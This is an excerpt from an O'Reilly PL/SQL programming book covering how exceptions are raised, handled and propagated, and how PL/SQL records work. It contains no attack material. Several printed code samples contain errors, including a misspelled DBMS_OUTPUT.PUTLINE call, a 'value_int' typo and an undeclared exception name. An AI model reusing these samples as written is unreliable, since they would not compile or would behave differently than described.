  • The programmer raises a named exception. The programmer can use an explicit call to the RAISE statement to raise a programmer-defined or system-named exception.

  • The programmer raises an unnamed, programmer-defined exception. These are raised with an explicit call to the RAISE_APPLICATION_ERROR procedure in the DBMS_STANDARD package.

  • The programmer re-raises the "current" exception. From within an exception handler, you can re-raise the same exception for propagation to the enclosing block.

8.5.1 Who Raises the Exception?

The following sections show how you can let PL/SQL raise a system error or you can check for the error yourself and then raise that same system error.

8.5.1.1 PL/SQL raises ZERO_DIVIDE exception

In the following example, I raise my own exception, sales_domination, when the percentage of a customer's sales is over 50% of total sales. If, on the other hand, the total_sales is zero (as will be the case in the senseless code below), PL/SQL will automatically raise the ZERO_DIVIDE exception. Because I include a handler for that specific problem, the application does not abort when this code is executed. Instead, a message is displayed informing the user of a serious problem:

DECLARE
   total_sales NUMBER := 0;
   cust_sales NUMBER;
   sales_domination EXCEPTION;
BEGIN
   SELECT SUM (sales) INTO cust_sales
     FROM invoice WHERE customer_id = 1001;
   IF cust_sales / total_sales > .5
   THEN
      RAISE sales_domination;
   END IF;
EXCEPTION
   WHEN ZERO_DIVIDE
   THEN
      DBMS_OUTPUT.PUT_LINE
         (' We haven''t sold anything. We are bankrupt!');

   WHEN sales_domination
   THEN
      DBMS_OUTPUT.PUT_LINE
         (' Customer 1001 accounts for more than half of all sales!');
END;

Notice that there is no RAISE statement for the ZERO_DIVIDE exception in the body of the program. Instead, I leave it to PL/SQL to raise such internally generated exceptions. There is no restriction, however, on a programmer's raising a predefined exception.

8.5.1.2 Programmer raises ZERO_DIVIDE exception

I could recode the previous anonymous block as follows:

DECLARE
   total_sales NUMBER := 0;
   cust_sales NUMBER;
   sales_domination EXCEPTION;
BEGIN
   SELECT SUM (sales) INTO cust_sales
     FROM invoice WHERE customer_id = 1001;

   /* Check for zero divisor and raise exception if necessary */
   IF total_sales = 0
   THEN
      RAISE ZERO_DIVIDE;
   ELSIF cust_sales / total_sales > .5
   THEN
      RAISE sales_domination;
   END IF;
EXCEPTION
   ... unchanged ...
END;

Here, my own code raises the ZERO_DIVIDE exception because as author of the program I know that a total_sales of zero will result in a division by zero. With either approach, the result is the same. Regardless of how the ZERO_DIVIDE exception is raised, the same exception handler will trap the error.

8.5.1.3 Impact of unhandled exceptions

If an exception is raised in a PL/SQL block and goes unhandled, there are several consequences to consider. First, if the program contains OUT or IN OUT parameters, then the PL/SQL runtime engine does not assign values to those parameters. Any changes to those parameters made during the program execution are, in essence, rolled back. Second, the runtime engine does not roll back any database work performed by that PL/SQL block. Instead, you must issue an explicit ROLLBACK statement to achieve this effect.

8.5.2 Re-Raising an Exception

When you are inside an exception handler in an exception section, you can re-raise the exception that "got you there" by issuing an unqualified RAISE statement as follows:

RAISE;

Since you do not specify an exception, the PL/SQL runtime engine re-raises the current exception (whose error number would be returned by a call to the SQLCODE function).

Here is an example of using raise in this way:

EXCEPTION
   WHEN OTHERS
   THEN
      send_error_to_pipe (SQLCODE);
      RAISE;
END;

This re-raise functionality comes in very handy when you need to raise exceptions which have not been assigned a name through use of the EXCEPTION_INIT pragma.

8.5.3 Exceptions Raised in a Declaration

When an exception is raised in the declaration section of a block, control is passed immediately to the enclosing block, if there is one, not to the exception section of the current block, as shown in Figure 8.6.

The assignment of the default value to little_string is too big for the variable. This causes PL/SQL to raise the VALUE_ERROR exception. This exception will not, however, be handled by the VALUE_ERROR handler in the anonymous block's exception section. Instead, PL/SQL will terminate the anonymous block and try to handle the exception in early_failure's exception section.

Figure 8.6: VALUE_ERROR raised in nested block declaration section

The reason for this behavior is simple, as we describe in the next section.

8.5.4 Exceptions Raised in an Exception Handler

You can raise another exception from within an exception handler, but that exception can be handled only in the exception section of an enclosing block -- never in the current block. The exception section of the current PL/SQL block will only handle exceptions raised in the execution section of that block.

When an exception is raised, the execution in the current block is immediately terminated, and control is passed in to the exception section, as shown in Figure 8.7. Once a match for the exception has been found, the rest of the exception section is inaccessible. At this point it is impossible to re-enter this same exception section because the corresponding execution section has been exited.

Figure 8.7: Exception raised in exception handler immediately exits the exception section

Why would you want to raise an exception inside an exception handler? You will find it useful to raise new exceptions from the current exception section when you do not want the enclosing block to continue normal processing after an exception in the subblock. You may instead want execution to branch off in a different direction, or to skip the rest of the enclosing block and move immediately to the enclosing block of that enclosing block.

In the following example, I have a triple nesting of anonymous blocks. When the innermost block raises an exception, I want to terminate both the second and third blocks, but continue normal processing in the outermost block. Raising an exception from within an exception block produces this behavior for me:

DECLARE -- Outermost block
BEGIN

   DECLARE -- First sub-block.
      -- An exception whose scope is the two sub-blocks.
      skip_sub_block EXCEPTION;
   BEGIN
      ... executable statements for first sub-block ...

      BEGIN -- Second sub-block.
         ... executable statements for innermost block ...
      EXCEPTION
         WHEN NO_DATA_FOUND -- A table fetch returned no values.
         THEN
            RAISE skip_sub_block; -- Raise exception in enclosing block.
      END;

   EXCEPTION
      WHEN skip_sub_block
      THEN
         NULL; -- Terminate this sub-block, return to main block.
   END;

   -- Now continue with main block processing.
   ... executable statements ...

END;

Previous: 8.4 Determining Exception-Handling Behavior | Oracle PL/SQL Programming, 2nd Edition | Next: 8.6 Handling Exceptions
8.4 Determining Exception-Handling Behavior | Book Index | 8.6 Handling Exceptions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.6 Handling Exceptions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

8.6 Handling Exceptions

Once an exception is raised, the current PL/SQL block stops its regular execution and transfers control to the exception section. The exception is then either handled by an exception handler in the current PL/SQL block or passed to the enclosing block.

Remember: once an exception is raised, the execution section is terminated. You cannot return to that body of code.

To handle or trap an exception once it is raised, you must write an exception handler for that exception. In your code, your exception handlers must appear after all the executable statements in your program but before the END statement of the block. The EXCEPTION keyword indicates the start of the exception section and the individual exception handlers.

The structure of the exception section is very similar to a CASE statement (which is not available in PL/SQL):

EXCEPTION
   WHEN exception_name1
   THEN
      <executable statements>

   WHEN exception_nameN
   THEN
      <executable statements>

   WHEN OTHERS
   THEN
      <executable statements>
END;

where exception_name1 is the name of the first exception handled in the section, exception_nameN is the name of the last named exception handled in the section, and the WHEN OTHERS clause provides the "otherwise" portion of the CASE statement. Of course, the code for each exception handler need not be on the same line, as shown in the preceding example. Every executable statement after a THEN and before the next WHEN or the final END statement belongs to the exception named by the previous WHEN statement, and is executed when that exception is raised.

The WHEN OTHERS clause must be the last exception handler in the exception section. If you place any other WHEN clauses after WHEN OTHER, you will receive the following compilation error:

PLS-00370: OTHERS handler must be last among the exception handlers
           of a block

8.6.1 Combining Multiple Exceptions in a Single Handler

You can, within a single WHEN clause, combine multiple exceptions together with an OR operator, just as you would combine multiple Boolean expressions:

WHEN invalid_company_id OR negative_balance
THEN

You can also combine application and system exception names in a single handler:

WHEN balance_too_low OR ZERO_DIVIDE
THEN

You cannot, however, use the AND operator, because only one exception can be raised at a time.

8.6.2 Unhandled Exceptions

If an exception is raised in your program and that exception is not handled by an exception section in either the current or enclosing PL/SQL blocks, that exception is "unhandled." PL/SQL returns the error which raised an unhandled exception all the way back to the application environment from which PL/SQL was run. That application environment (a tool like SQL*Plus, Oracle Forms, or a Powerbuilder program) then takes an action appropriate to the situation.

A well-designed application will not allow unhandled exceptions to occur. The best way to avoid unhandled exceptions is to make sure that the outermost PL/SQL block (whether it is an anonymous block in SQL*Plus or a stored procedure in the database) contains a WHEN OTHERS clause in its exception section.

8.6.3 Using SQLCODE and SQLERRM in WHEN OTHERS Clause

You can use the WHEN OTHERS clause in the exception section to trap all otherwise unhandled exceptions, including internal errors which are not predefined by PL/SQL. Once inside the exception handler, however, you will often want to know which error occurred. You can use the SQLCODE function to obtain this information.

Consider the following situation. My application maintains companies and orders entered for those companies. My foreign key constraint on company_id in the orders table guarantees that I cannot delete a company if there are still child records (orders) in the database for that company. The following procedure deletes companies and handles any exceptions which might arise:

PROCEDURE delete_company (company_id_in IN NUMBER)
IS
BEGIN
   DELETE FROM company WHERE company_id = company_id_in;

EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUTLINE (' Error deleting company.');
END;

Notice the generic nature of the error message. I don't have any idea what brought me there, so I cannot pass on much useful information to the users. Did the delete fail because there are orders still present? Then perhaps I would want to delete them and then delete the company. Fortunately, Oracle provides two functions, SQLCODE and SQLERRM, which return, respectively, the error code and the error message resulting from the most recently raised exception. (These two functions are described in detail in Chapter 13, Numeric, LOB, and Miscellaneous Functions, Numeric, LOB, and Miscellaneous Functions.)

Combined with WHEN OTHERS, SQLCODE provides a way for you to handle different, specific exceptions without having to use the EXCEPTION_INIT pragma. In the next example, I trap both of the parent-child exceptions, -2292 and -2291, and then take an action appropriate to each situation:

PROCEDURE delete_company (company_id_in IN NUMBER)
IS
BEGIN
   DELETE FROM company
    WHERE company_id = company_id_in;
EXCEPTION
   WHEN OTHERS
   THEN
      /*
      || Anonymous block inside the exception handler lets me declare
      || local variables to hold the error code information.
      */
      DECLARE
         error_code NUMBER := SQLCODE;
         error_msg  VARCHAR2 (300) := SQLERRM;
      BEGIN
         IF error_code = -2292
         THEN
            /* Child records found. Delete those too! */
            DELETE FROM employee
             WHERE company_id = company_id_in;

            /* Now delete parent again. */
            DELETE FROM company
             WHERE company_id = company_id_in;

         ELSIF error_code = -2291
         THEN
            /* Parent key not found. */
            DBMS_OUTPUT.PUTLINE
               (' Invalid company ID: '||TO_CHAR (company_id_in));
         ELSE
            /* This is like a WHEN OTHERS inside a WHEN OTHERS! */
            DBMS_OUTPUT.PUTLINE
               (' Error deleting company, error: '||error_msg);
         END IF;
      END; -- End of anonymous block.

END delete_company;

8.6.4 Continuing Past Exceptions

When an exception is raised in a PL/SQL block, normal execution is halted and control is transferred to the exception section. "You can never go home again," and you can never return to the execution section once an exception is raised in that block. In some cases, however, the ability to continue past exceptions is exactly the desired behavior.

Consider the following scenario: I need to write a procedure which performs a series of DML statements against a variety of tables (delete from one table, update another, insert into a final table). My first pass at writing this procedure might produce code like the following:

PROCEDURE change_data IS
BEGIN
   DELETE FROM employee WHERE ... ;
   UPDATE company SET ... ;
   INSERT INTO company_history SELECT * FROM company WHERE ... ;
END;

This procedure certainly contains all the appropriate DML statements. But one of the requirements for this program is that, in spite of the fact that these statements are executed in sequence, they are logically independent of each other. In other words, even if the delete fails, I want to go on and perform the update and insert.

With the current version of change_data, I cannot make sure that all three DML statements will at least be attempted. If an exception is raised from the DELETE, for example, then the entire program's execution will halt and control will be passed to the exception section (if there is one). The remaining SQL statements will not be executed.

How can I get the exception to be raised and handled without terminating the program as a whole? The solution is to place the DELETE within its own PL/SQL block. Consider this next version of the change_data program:

PROCEDURE change_data IS
BEGIN
   BEGIN
      DELETE FROM employee WHERE ... ;
   EXCEPTION
      WHEN OTHERS THEN NULL;
   END;

   BEGIN
      UPDATE company SET ... ;
   EXCEPTION
      WHEN OTHERS THEN NULL;
   END;

   BEGIN
      INSERT INTO company_history SELECT * FROM company WHERE ... ;
   EXCEPTION
      WHEN OTHERS THEN NULL;
   END;
END;

With this new format, if the DELETE raises an exception, control is immediately passed to the exception section. But now what a difference! Because the DELETE statement is in its own block, it has its own exception section. The WHEN OTHERS clause in that section smoothly handles the error by doing nothing. Control is then passed out of the DELETE's block and back to the enclosing change_data procedure.

Execution in this enclosing block then continues to the next statement in the procedure. A new anonymous block is then entered for the UPDATE statement. If the UPDATE statement fails, the WHEN OTHERS in the UPDATE's own exception section traps the problem and returns control to change_data, which blithely moves on to the INSERT statement (contained in its very own block).

Figure 8.8 shows this process for two sequential DELETE statements.

Figure 8.8: Sequential DELETEs, using two different approaches to scope

To summarize: a raised exception will always be handled in the current block -- if there is a matching handler present. You can always create a "virtual block" around any statement(s) by prefacing it with a BEGIN and following it with an EXCEPTION section and an END statement. So you can control the scope of failure caused by an exception by establishing "buffers" of anonymous blocks in your code.

You can also take this strategy a step further and move the code you want to isolate into its own procedures or functions. These named PL/SQL blocks may also, of course, have their own exception sections and will offer the same protection from total failure. The advantage of using procedures and functions is that you hide all the BEGIN-EXCEPTION-END statements from the mainline program. The program is then easier to read, understand, and maintain.

Previous: 8.5 Raising an Exception | Oracle PL/SQL Programming, 2nd Edition | Next: 8.7 Client-Server Error Communication
8.5 Raising an Exception | Book Index | 8.7 Client-Server Error Communication
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.7 Client-Server Error Communication

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

8.7 Client-Server Error Communication

Oracle provides the RAISE_APPLICATION_ERROR procedure to communicate application-specific errors from the server side (usually a database trigger) to the client-side application. This built-in procedure is the only mechanism available for communicating a server-side, programmer-defined exception to the client side in such a way that the client process can handle the exception.

8.7.1 Using RAISE_APPLICATION_ERROR

Oracle provides the RAISE_APPLICATION_ERROR procedure to facilitate client-server error communication. The header for this procedure is shown below:

PROCEDURE RAISE_APPLICATION_ERROR
   (error_number_in IN NUMBER, error_msg_in IN VARCHAR2)

Here is an example of a call to this built-in:

RAISE_APPLICATION_ERROR (-20001, 'You cannot hire babies!');

When you call RAISE_APPLICATION_ERROR, it is as though an exception has been raised with the RAISE statement. Execution of the current PL/SQL block halts immediately, and any changes made to OUT or IN OUT arguments (if present) will be reversed. Changes made to global data structures, such as packaged variables, and to database objects (by executing an INSERT, UPDATE, or DELETE) will not be rolled back. You must execute an explicit ROLLBACK in your exception section to reverse the effect of DML operations. The built-in returns a programmer-defined error number and message back to the client component of the application. You can then use the EXCEPTION_INIT pragma and exception handlers to handle the error in a graceful, user-friendly fashion.

The error number you specify must be between -20000 and -20999 so you do not conflict with any Oracle error numbers.

The error message can be up to 2K bytes in length; if it is longer, it will not abort the call to RAISE_APPLICATION_ERROR; the procedure will simply truncate anything beyond the 2K.

The exception handler architecture, combined with RAISE_APPLICATION_ERROR and the On-Error trigger, allows your front-end application to rely on business rules embedded in the database to perform validation and communicate problems to the user. When you make use of RAISE_APPLICATION_ERROR, however, it is entirely up to you to manage the error numbers and messages. This can get tricky and messy. To help manage your error codes and provide a consistent interface with which developers can handle server errors, you might consider building a package.

8.7.2 RAISE_APPLICATION_ERROR in a database trigger

Suppose you need to implement a database trigger which stops records from being inserted into the database if the person is less than 18 years old. The code for this trigger would look like this:

CREATE OR REPLACE TRIGGER minimum_age_check
BEFORE INSERT ON employee
FOR EACH ROW
BEGIN
   IF ADD_MONTHS (:new.birth_date, 18*12) > SYSDATE
   THEN
      RAISE_APPLICATION_ERROR
         (-20001, 'Employees must at least eighteen years of age.');
   END IF;
END;

On the client side, I can write a program like the following to detect and handle this exception:

DECLARE
   /* Declare the exception. */
   no_babies_allowed EXCEPTION;

   /* Associate the name with the error number used in the trigger. */
   PRAGMA EXCEPTION_INIT (no_babies_allowed, -20001);

BEGIN
   /* Attempt to insert the employee. */
   INSERT INTO employee ... ;

EXCEPTION

   /* Handle the server-side exception. */
   WHEN no_babies_allowed
   THEN
      /*
      || SQLERRM will return the message passed into the
      || RAISE_APPLICATION_ERROR built-in.
      */
      DBMS_OUTPUT.PUT_LINE (SQLERRM);

END;

Previous: 8.6 Handling Exceptions | Oracle PL/SQL Programming, 2nd Edition | Next: 8.8 NO_DATA_FOUND: Multipurpose Exception
8.6 Handling Exceptions | Book Index | 8.8 NO_DATA_FOUND: Multipurpose Exception
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.8 NO_DATA_FOUND: Multipurpose Exception

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

8.8 NO_DATA_FOUND: Multipurpose Exception

The NO_DATA_FOUND exception is raised under three different circumstances:

  • An implicit query returns no data.

  • You attempt to reference a row in a PL/SQL table which has not been defined. (PL/SQL tables are covered in Chapter 10, PL/SQL Tables.)

  • You attempt to read past the end of an operating system file (using TEXT_IO in the Oracle Developer 2000 environment or UTL_FILE in PL/SQL Release 2.3).

This overlapping use of the same exception could cause some confusion and difficulty in your program. Suppose that in a single PL/SQL block I query from an implicit cursor and also make references to a PL/SQL table's rows. The NO_DATA_FOUND exception could be raised from either source, but the actual problem that caused the exception would be very different: bad data in the database (raised by the implicit cursor) versus an illegal memory reference (raised by the table access).

I want to be able to distinguish between the two situations. I can accomplish this by nesting the SELECT statement (the implicit cursor) inside its own PL/SQL block and thus trapping the NO_DATA_FOUND exception distinct from the PL/SQL table exception.

In the version of company_name shown in the following example, I have added a parameter to specify two types of access: from database (access type = DBMS) or from a PL/SQL table (access type = MEMORY). I want to check for NO_DATA_FOUND for each particular instance:

FUNCTION company_name
   (id_in IN NUMBER, access_type_in IN VARCHAR2)
RETURN VARCHAR2
IS
   /* Return value of the function */
   return_value VARCHAR2 (60);

   /* My own exception - used to represent bad data NO_DATA_FOUND. */
   bad_data_in_select EXCEPTION;

BEGIN
   /* Retrieve company name from the database */
   IF access_type_in = 'DBMS'
   THEN
      /* Place the SELECT inside its own BEGIN-END. */
      BEGIN
         SELECT name INTO return_value
           FROM company
          WHERE company_id = id_in;
         RETURN return_value;

      /* Now it can have its OWN exception section too ! */
      EXCEPTION
         /* This NO_DATA_FOUND is only from the SELECT. */
         WHEN NO_DATA_FOUND
         THEN
            /*
            || Raise my exception to propagate to
            || the main body of the function.
            */
            RAISE bad_data_in_select;
      END;

   /* Retrieve company name from an in-memory PL/SQL table */
   ELSIF access_type_in = 'MEMORY'
   THEN
      /*
      || Direct access from table. If this ID is not defined
      || then the NO_DATA_FOUND exception is raised.
      */
      RETURN company_name_table (id_in);
   END IF;
EXCEPTION
   /*
   || This exception occurs only when NO_DATA_FOUND was raised by
   || the implicit cursor inside its own BEGIN-END.
   */
   WHEN bad_data_in_select
   THEN
      DBMS_OUTPUT.PUT_LINE
         (' Unable to locate company in database!');
   /*
   || This exception occurs only when I have not previously placed
   || the company name for company id id_in in the table.
   */
   WHEN NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.PUT_LINE
         (' Unable to locate company in memorized table!');
END;

You can see how the scoping rules for exceptions provide a great deal of flexibility in managing the impact of exceptions. Whenever you want to isolate the effect of a raised exception, just nest the statements inside their own BEGIN-END, give them their own exception section, and then decide what you want to do when the problem occurs. You are guaranteed to trap it there first.

Previous: 8.7 Client-Server Error Communication | Oracle PL/SQL Programming, 2nd Edition | Next: 8.9 Exception Handler as IF Statement
8.7 Client-Server Error Communication | Book Index | 8.9 Exception Handler as IF Statement
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.9 Exception Handler as IF Statement

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

8.9 Exception Handler as IF Statement

I pointed out earlier in this chapter the similarity between the CASE structure of the exception section and the IF statement. Now let's draw on this similarity to implement an interesting kind of exception handler. You can also use nested exception handlers as a kind of conditional statement, similar to an IF-THEN-ELSIF construct. In the function below, I want to convert an incoming string to a date. The user can enter the string in any of these three formats:

MM/DD/YY
DD-MON-YY
MM/YY

In the case of MM/YY, the date always defaults to the first day of the month. I don't know in advance what format has been used. The easiest way to identify the appropriate format is to try and convert the string with one of the formats using TO_DATE. If it works, then I found a match and can return the date. If it doesn't match, I will try the next format with another call to TO_DATE, and so on. (See the discussion of TO_DATE in Chapter 14, Conversion Functions.)

Sounds like an IF statement, right? The problem with this approach is that the phrase "if it doesn't match" doesn't convert very neatly to an IF statement. If I call TO_DATE to convert a string to a date, the string must conform to the format mask. If it doesn't, PL/SQL raises an exception in the ORA-01800 through ORA-01899 range (and it could be just about any of those exceptions). Once the exception is raised, my IF statement would fail as well, with control passing to the exception section -- not to the ELSIF clause.

If, on the other hand, I apply the concepts of exception scope and propagation to the above "if this then that" logic, I come up with the pseudocode summarized below:

  1. Try to convert the string with TO_DATE and the first mask, MM/DD/YY. If it works, I am done. If it doesn't work, an exception is raised.

  2. Using an exception section, trap this exception as the "else" in my pseudo-IF statement. Within the exception handler, try to convert the string with TO_DATE and the second mask, DD-MON-YY. If it works, I am done. If it doesn't work, an exception is raised.

  3. Using another exception section within the first exception section, trap this exception as the "else" in this pseudo-IF statement. Within the exception handler, try to convert the string with TO_DATE and the third mask, MM/YY. If it works, I am done. If it doesn't work, an exception is raised.

  4. I have only three masks, so if I cannot convert the string after these three TO_DATE calls, the user entry is invalid and I will simply return NULL.

The function convert_date that follows illustrates the full PL/SQL version of the preceding pseudocode description. I make liberal use of the WHEN OTHERS exception handler because I have no way of knowing which exception would have been raised by the conversion attempt:

FUNCTION convert_date (value_in IN VARCHAR2) RETURN DATE
IS
   return_value DATE;
BEGIN
   IF value_int IS NULL THEN return_value := NULL;
   ELSE
      BEGIN
         /* IF MM/DD/YY mask works, set return value. */
         return_value := TO_DATE (value_in, 'MM/DD/YY');
      EXCEPTION
         /* OTHERWISE: */
         WHEN OTHERS THEN
            BEGIN
               /* IF DD-MON-YY mask works, set return value. */
               return_value := TO_DATE (value_in, 'DD-MON-YY');
            EXCEPTION
               /* OTHERWISE: */
               WHEN OTHERS THEN
                  BEGIN
                     /* IF MM/YY mask works, set return value. */
                     return_value := TO_DATE (value_in, 'MM/YY');
                  EXCEPTION
                     /* OTHERWISE RETURN NULL. */
                     WHEN OTHERS THEN
                        return_value := NULL;
                  END;
            END;
      END;
   END IF;
   RETURN (return_value);
END;

Previous: 8.8 NO_DATA_FOUND: Multipurpose Exception | Oracle PL/SQL Programming, 2nd Edition | Next: 8.10 RAISE Nothing but Exceptions
8.8 NO_DATA_FOUND: Multipurpose Exception | Book Index | 8.10 RAISE Nothing but Exceptions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.10 RAISE Nothing but Exceptions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

8.10 RAISE Nothing but Exceptions

Have you noticed that the RAISE statement acts in many ways like a GOTO statement? The GOTO statement in PL/SQL looks like this:

GOTO label_name;

where label_name is the name of a label. This label is placed in a program as follows:

<<label_name>>

When PL/SQL encounters a GOTO statement, it immediately shifts control to the first executable statement following the label (which must still be in the execution section of the PL/SQL block). The RAISE statement works much the same way: when PL/SQL encounters a RAISE, it immediately shifts control to the exception section, and then looks for a matching exception.

A very significant and fundamental difference between GOTO and RAISE, however, is that GOTO branches to another execution statement, whereas RAISE branches to the exception section. The RAISE statement, in other words, shifts the focus of the program from normal execution to "error handling mode." Both from the standpoint of code readability and also of maintenance, you should never use the RAISE statement as a substitute for a control structure, be it a GOTO or an IF statement.

If you have not tried to use RAISE in this way, you might think that I am building up a straw man in order to knock it down. Would that it were so. Just in the process of writing this book, I ran across several examples of this abuse of exception handling. Check out, for example, the function description for GET_GROUP_CHAR_CELL in Oracle Corporation's Oracle Forms Reference Volume 1. It offers a function called Is_Value_In_List, which returns the row number of the value if it is found in the record group, as an example of a way to use GET_GROUP_CHAR_CELL.

The central logic of Is_Value_In_List is shown in the following example. The function contains three different RAISE statements -- all of which raise the exit_function exception:

1  FUNCTION Is_Value_In_List
2     (value VARCHAR2, rg_name VARCHAR2, rg_column VARCHAR2)
3     RETURN NUMBER
4  IS
5     Exit_Function EXCEPTION;
6  BEGIN
7     If bad-inputs THEN
8        RAISE Exit_Function;
9     END IF;
10
11    LOOP-through-record-group
12       IF match-found
13          RAISE Return_Value;
14       END IF;
15    END LOOP;
16
17    RAISE Exit_Function;
18
19 EXCEPTION
20    WHEN Return_Value THEN
21       RETURN row#;
22
23    WHEN Exit_Function THEN
24       RETURN 0;
25 END;

The first RAISE on line 8 is an appropriate use of an exception because we have an invalid data structure. The function should bail out.

The second RAISE on line 13 is, however, less justifiable. This RAISE is used to end the program and return the row in which the match was found. An exception is, in this case, used for successful completion.

Exception Handling -- Quick Facts and Tips

Here are some facts and tips to remember about exception handling:

  • The exception section of a PL/SQL block only handles exceptions raised in the execution section of that block.

  • An exception raised in the declaration section of a PL/SQL block is handled by the exception section of the enclosing block, if it exists.

  • An exception raised in the exception section of a PL/SQL block is handled by the exception section of the enclosing block, if it exists.

  • Use WHEN OTHERS when you want to trap and handle all exceptions in a PL/SQL block.

  • Once an exception is raised, the block's execution section is terminated and control is transferred to the exception section. You cannot return to that execution section after the exception is raised.

  • After an exception is handled, the next executable statement in the enclosing block is executed.

  • To handle a specific exception, it must have a name. You declare exceptions to give them names.

  • Once you have handled an exception, normal program execution continues. You are no longer in an "exception" situation.

The third RAISE on line 17 is also questionable. This RAISE is the very last statement of the function. Now, to my mind, the last line of a function should be a RETURN statement. The whole point of the function, after all, is to return a value. In this case, however, the last line is an exception, because the author has structured the code so that if I got this far, I have not found a match. So raise the exception, right? Wrong.

"Row-not-found" is not an exception from the standpoint of the function. That condition should be considered one of the valid return values of a function that asks "Is value in list?" This function should be restructured so that the exception is raised only when there is a problem.

From the perspective of structured exception handling in PL/SQL, this function suffered from several weaknesses:

Poorly named exceptions

The exception names exit_function and return_value describe actions, rather than error conditions. The name of an exception should describe the error which took place.

Exceptions for valid outcomes

By using these "action" names, the developers are actually being very open about how they are manipulating the exception handler. They say, "I use exceptions to implement logic branching." We should say to them, "Don't do it! Use the constructs PL/SQL provides to handle this code in a structured way."

If you encounter either of these conditions in code you are writing or reviewing, take a step back. Examine the logical flow of the program and see how you can use the standard control structures (IF, LOOP, and perhaps even GOTO) to accomplish your task. The result will be much more readable and maintainable code.

Previous: 8.9 Exception Handler as IF Statement | Oracle PL/SQL Programming, 2nd Edition | Next: 9. Records in PL/SQL
8.9 Exception Handler as IF Statement | Book Index | 9. Records in PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] Records in PL/SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 8.10 RAISE Nothing but Exceptions Chapter 9 Next: 9.2 Table-Based Records

9. Records in PL/SQL

Contents:
Record Basics
Table-Based Records
Cursor-Based Records
Programmer-Defined Records
Assigning Values to and from Records
Record Types and Record Compatibility
Nested Records

Records in PL/SQL programs are very similar in concept and structure to the rows of a database table. A record is a composite data structure, which means that it is composed of more than one element or component, each with its own value. The record as a whole does not have value of its own; instead, each individual component or field has a value. The record gives you a way to store and access these values as a group.

If you are not familiar with using records in your programs, you might initially find them complicated. When used properly, however, records will greatly simplify your life as a programmer. You will often need to transfer data from the database into PL/SQL structures and then use the procedural language to further massage, change, or display that data. When you use a cursor to read information from the database, for example, you can pass that table's record directly into a single PL/SQL record. When you do this you preserve the relationship between all the attributes from the table.

9.1 Record Basics

This section introduces the different types of records and the benefits of using them in your programs.

9.1.1 Different Types of Records

PL/SQL supports three different kinds of records: table-based, cursor-based, and programmer-defined. These different types of records are used in different ways and for different purposes, but all three share the same internal structure: every record is composed of one or more fields. However, the way these fields are defined in the record depend on the record type. Table 9.1 shows this information about each record type.

Table 9.1: PL/SQL Record Types
Record Type | Description | Fields in Record
Table-based | A record based on a table's column structure. | Each field corresponds to -- and has the same name as -- a column in a table.
Cursor-based | A record based on the cursor's SELECT statement. | Each field corresponds to a column or expression in the cursor SELECT statement.
Programmer-defined | A record whose structure you, the programmer, get to define with a declaration statement. | Each field is defined explicitly (its name and datatype) in the TYPE statement for that record; a field in a programmer-defined record can even be another record.

Figure 9.1 illustrates the way a cursor record adopts the structure of the SELECT statement by using the %ROWTYPE declaration attribute (explained later in this chapter).

Figure 9.1: Mapping of cursor structure to PL/SQL record

9.1.2 Accessing Record-Based Data

You access the fields within a record using dot notation, just as you would identify a column from a database table, in the following format:

<record name>.<field name>

You would reference the first_name column from the employee table as follows:

employee.first_name

You would reference the emp_full_name field in the employee PL/SQL record as:

employee_rec.emp_full_name

The record or tuple structure of relational database tables has proven to be a very powerful way to represent data in a database, and records in your programs offer similar advantages. The next section describes briefly the reasons you might want to use records. The rest of this chapter show you how to define and use each of the different types of records, and the situations appropriate to each record type.

9.1.3 Benefits of Using Records

The record data structure provides a high-level way of addressing and manipulating program-based data. This approach offers the following benefits:

Data abstraction

Instead of working with individual attributes of an entity or object, you think of and manipulate that entity as a "thing in itself."

Aggregate operations

You can perform operations which apply to all the columns of a record.

Leaner, cleaner code

You can write less code and make what you do write more understandable.

The following sections describe each of these benefits.

9.1.3.1 Data abstraction

